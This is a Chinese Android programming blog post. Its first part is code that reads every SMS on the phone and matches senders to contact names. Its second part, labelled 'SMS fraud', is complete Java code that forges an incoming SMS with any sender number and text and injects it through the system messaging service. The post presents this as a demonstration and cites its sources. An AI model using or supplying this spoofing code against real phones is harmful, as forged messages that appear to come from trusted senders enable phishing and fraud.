zoukankan      html  css  js  c++  java
  • android 获取手机所有短信

    原理是通过,contentprovider获取系统短信数据库中的字段信息而达到获取内容目的

    效果图如下:


    具体代码如下:

    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.Date;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    
    import android.app.ListActivity;
    import android.content.ContentResolver;
    import android.database.Cursor;
    import android.database.sqlite.SQLiteException;
    import android.net.Uri;
    import android.os.Bundle;
    import android.provider.ContactsContract;
    import android.provider.ContactsContract.CommonDataKinds.Phone;
    import android.provider.ContactsContract.PhoneLookup;
    import android.util.Log;
    import android.widget.ListView;
    import android.widget.SimpleAdapter;
    
    public class QureSms extends ListActivity {
    
    	ListView smslist=null;	//显示列表信息
    	ArrayList<Map<String,Object>> mData= new ArrayList<Map<String,Object>>();
    	List<String> title=new ArrayList<String>();	//短信来源
    	List<String> text=new ArrayList<String>();	//短信内容
    	  
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		smslist=getListView();
    		getSmsInPhone();
    		int lengh = title.size();
    		for(int i =0; i < lengh; i++) {
    		    Map<String,Object> item = new HashMap<String,Object>();
    		    item.put("title", title.get(i));
    		    item.put("text", text.get(i));
    		    mData.add(item); 
    		}
    		SimpleAdapter adapter = new SimpleAdapter(this,mData,android.R.layout.simple_list_item_2,
    				new String[]{"title","text"},new int[]{android.R.id.text1,android.R.id.text2});
    		setListAdapter(adapter);
    		
    	}
    	/**
    	 * 获取手机内所以短消息
    	 */
    	private void getSmsInPhone(){   
    	    final String SMS_URI_ALL   = "content://sms/";     
    	    /*final String SMS_URI_INBOX = "content://sms/inbox";   
    	    final String SMS_URI_SEND  = "content://sms/sent";   
    	    final String SMS_URI_DRAFT = "content://sms/draft";  */ 
    	       
    	    try{   
    	        ContentResolver cr = getContentResolver();   
    	        String[] projection = new String[]{"_id", "address", "person",    
    	                "body", "date", "type"};   
    	        Uri uri = Uri.parse(SMS_URI_ALL);   
    	        Cursor cur = cr.query(uri, projection, null, null, "date desc");   
    	  
    	        if (cur.moveToFirst()) {   
    	            String name;    
    	            String phoneNumber;          
    	            String smsbody;   
    	            String date;   
    	            String type;   
    	            
    	        //    int nameColumn = cur.getColumnIndex("person");   
    	            int phoneNumberColumn = cur.getColumnIndex("address");   
    	            int smsbodyColumn = cur.getColumnIndex("body");   
    	            int dateColumn = cur.getColumnIndex("date");   
    	            int typeColumn = cur.getColumnIndex("type");   
    	            
    	           do{   
    	                phoneNumber = cur.getString(phoneNumberColumn);   
    	           //    name = cur.getString(nameColumn);    这样获取的联系认为空,所以我改用下面的方法获取
    	                name=getPeopleNameFromPerson(phoneNumber);
    	                smsbody = cur.getString(smsbodyColumn);   
    	                   
    	                SimpleDateFormat dateFormat = new SimpleDateFormat(   
    	                        "yyyy-MM-dd hh:mm:ss");   
    	                Date d = new Date(Long.parseLong(cur.getString(dateColumn)));   
    	                date = dateFormat.format(d);   
    	                   
    	                int typeId = cur.getInt(typeColumn);   
    	                if(typeId == 1){   
    	                    type = "接收";   
    	                } else if(typeId == 2){   
    	                    type = "发送";   
    	                } else {   
    	                    type = "草稿";   
    	                }   
    	                
    	                title.add(type+" "+date+'\n'+phoneNumber);
    	                text.add(name+'\n'+smsbody);
    	              
    	                if(smsbody == null) smsbody = "";     
    	            }   while(cur.moveToNext());
    	        }
    	        cur.close();
    	        cur=null;
    	    } catch(SQLiteException ex) {   
    	        Log.e("SQLiteException in getSmsInPhone", ex.getMessage());   
    	    }   
    	    
    	} 
    	/**
    	 * 通过address手机号关联Contacts联系人的显示名字
    	 * @param address
    	 * @return
    	 */
    			private String getPeopleNameFromPerson(String address){
    				if(address == null || address == ""){
    					return null;
    				}
    				
    				String strPerson = "null";
    				String[] projection = new String[] {Phone.DISPLAY_NAME, Phone.NUMBER};
    				
    				Uri uri_Person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, address);	// address 手机号过滤
    				Cursor cursor = getContentResolver().query(uri_Person, projection, null, null, null);
    				
    				if(cursor.moveToFirst()){
    					int index_PeopleName = cursor.getColumnIndex(Phone.DISPLAY_NAME);
    					String strPeopleName = cursor.getString(index_PeopleName);
    					strPerson = strPeopleName;
    				}
    				else{
    					strPerson = address;
    				}
    				cursor.close();
    				cursor=null;
    				return strPerson;
    			}
    			
    
    }
    

    最后添加必要权限:

    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />



    短信欺诈:本地程序可以根据sms协议及格式进行伪造短信内容的行为。

    示例代码:

    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.UnsupportedEncodingException;
    import java.lang.reflect.Method;
    import java.util.Calendar;
    import java.util.GregorianCalendar;
    
    import android.app.Activity;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.telephony.PhoneNumberUtils;
    import android.util.Log;
    import android.view.View;
    import android.widget.EditText;
    
    import com.example.androidtest.R;
    
    public class SmsCheat extends Activity{
    
    	EditText editBody,editNum;
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		setContentView(R.layout.sms_send);
    		editBody=(EditText)findViewById(R.id.smsEdit);
    		editNum=(EditText)findViewById(R.id.smsNumEdit);
    		
    		super.onCreate(savedInstanceState);
    	}
    	
    	public void onsendClick(View view) {
    		String str=editBody.getText().toString();
    		String num=editNum.getText().toString();
    		createFakeSms2(getApplicationContext(), num, str);
    		
    	}
    	
    	  private static void createFakeSms2(Context context, String sender, String body) {
    		    
    		        byte[] pdu = null;
    		        byte[] scBytes = PhoneNumberUtils
    		                .networkPortionToCalledPartyBCD("0000000000");
    		        byte[] senderBytes = PhoneNumberUtils
    		                .networkPortionToCalledPartyBCD(sender);
    		        int lsmcs = scBytes.length;
    		        byte[] dateBytes = new byte[7];
    		        Calendar calendar = Calendar.getInstance();//new GregorianCalendar();
    		     //   dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
    		        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
    		        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
    		        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
    		        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
    		        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
    		       /* dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
    		                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));*/
    		        try {
    		            ByteArrayOutputStream bo = new ByteArrayOutputStream();
    		            bo.write(lsmcs);
    		            bo.write(scBytes);
    		            bo.write(0x04);
    		            bo.write((byte) sender.length());
    		            bo.write(senderBytes);
    		            bo.write(0x00);
    		            try {
    		                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
    		                Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
    		                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
    		                        "stringToGsm7BitPacked", new Class[] { String.class });
    		                stringToGsm7BitPacked.setAccessible(true);
    		                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body);
    		                
    		                bo.write(0x00); // encoding: 0 for default 7bit
    		                bo.write(dateBytes);
    		                bo.write(bodybytes);
    		            } catch (Exception e) {
    		              try {
    		                // try UCS-2
    		                byte[] bodybytes = encodeUCS2(body, null);
    		                
    		                  bo.write(0x08); // encoding: 0x08 (GSM_UCS2) for UCS-2
    		                  bo.write(dateBytes);
    		                bo.write(bodybytes);
    		              } catch(UnsupportedEncodingException uex) {
    		                Log.e("_DEBUG_", String.format("String '%s' encode unknow", body));
    		              }
    		            }
    
    		            Log.d("_DEBUG_", String.format("PDU: ", bytesToHexString(bo.toByteArray())));
    		            
    		            pdu = bo.toByteArray();
    		        } catch (IOException e) {
    		        	e.printStackTrace();
    		        }
    		        
    		        Intent intent = new Intent();
    		        intent.setClassName("com.android.mms",
    		                "com.android.mms.transaction.SmsReceiverService");
    		        intent.setAction("android.provider.Telephony.SMS_RECEIVED");
    		        intent.putExtra("pdus", new Object[] { pdu });
    		        intent.putExtra("format", "3gpp");
    		        context.startService(intent);
    		    }
    	  
    	  private static byte reverseByte(byte b) {
    	        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
    	    }
    
    	    /**
    	     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if necessary
    	     *
    	     * @return
    	     * @throws UnsupportedEncodingException
    	     */
    	    private static byte[] encodeUCS2(String message, byte[] header)
    	        throws UnsupportedEncodingException {
    	        byte[] userData, textPart;
    	        textPart = message.getBytes("utf-16be");
    
    	        if (header != null) {
    	            // Need 1 byte for UDHL
    	            userData = new byte[header.length + textPart.length + 1];
    
    	            userData[0] = (byte)header.length;
    	            System.arraycopy(header, 0, userData, 1, header.length);
    	            System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length);
    	        }
    	        else {
    	            userData = textPart;
    	        }
    	        byte[] ret = new byte[userData.length+1];
    	        ret[0] = (byte) (userData.length & 0xff );
    	        System.arraycopy(userData, 0, ret, 1, userData.length);
    	        return ret;
    	    }
    
    	    /**
    	     * Change bytes to HexString
    	     * @param bArray
    	     * @return
    	     */
    	    public static final String bytesToHexString(byte[] bArray) {
    	    	StringBuffer result = new StringBuffer(bArray.length);
    	    	String sTemp;
    	    	for (int i = 0; i < bArray.length; i++) {
    	    		sTemp = Integer.toHexString(0xFF & bArray[i]);
    	    		if (sTemp.length() < 2)
    	    			result.append(0);
    	    		result.append(sTemp.toUpperCase());
    	    	}
    	    	return result.toString();
    	    }
    }
    

    http://stackoverflow.com/a/12338541

    http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app



  • 相关阅读:
    Yii2设计模式——工厂方法模式
    Yii2设计模式——静态工厂模式
    Yii2设计模式——简单工厂模式
    Yii2设计模式——注册树模式
    Yii2设计模式——单例模式
    nginx负载均衡指令least_conn的真正含义
    Yii2设计模式——Yii2中用到哪些设计模式?
    Yii2设计模式——设计模式简介
    Openresty的同步输出与流式响应
    Scope 功能的改进
  • 原文地址:https://www.cnblogs.com/happyxiaoyu02/p/6818969.html
Copyright © 2011-2022 走看看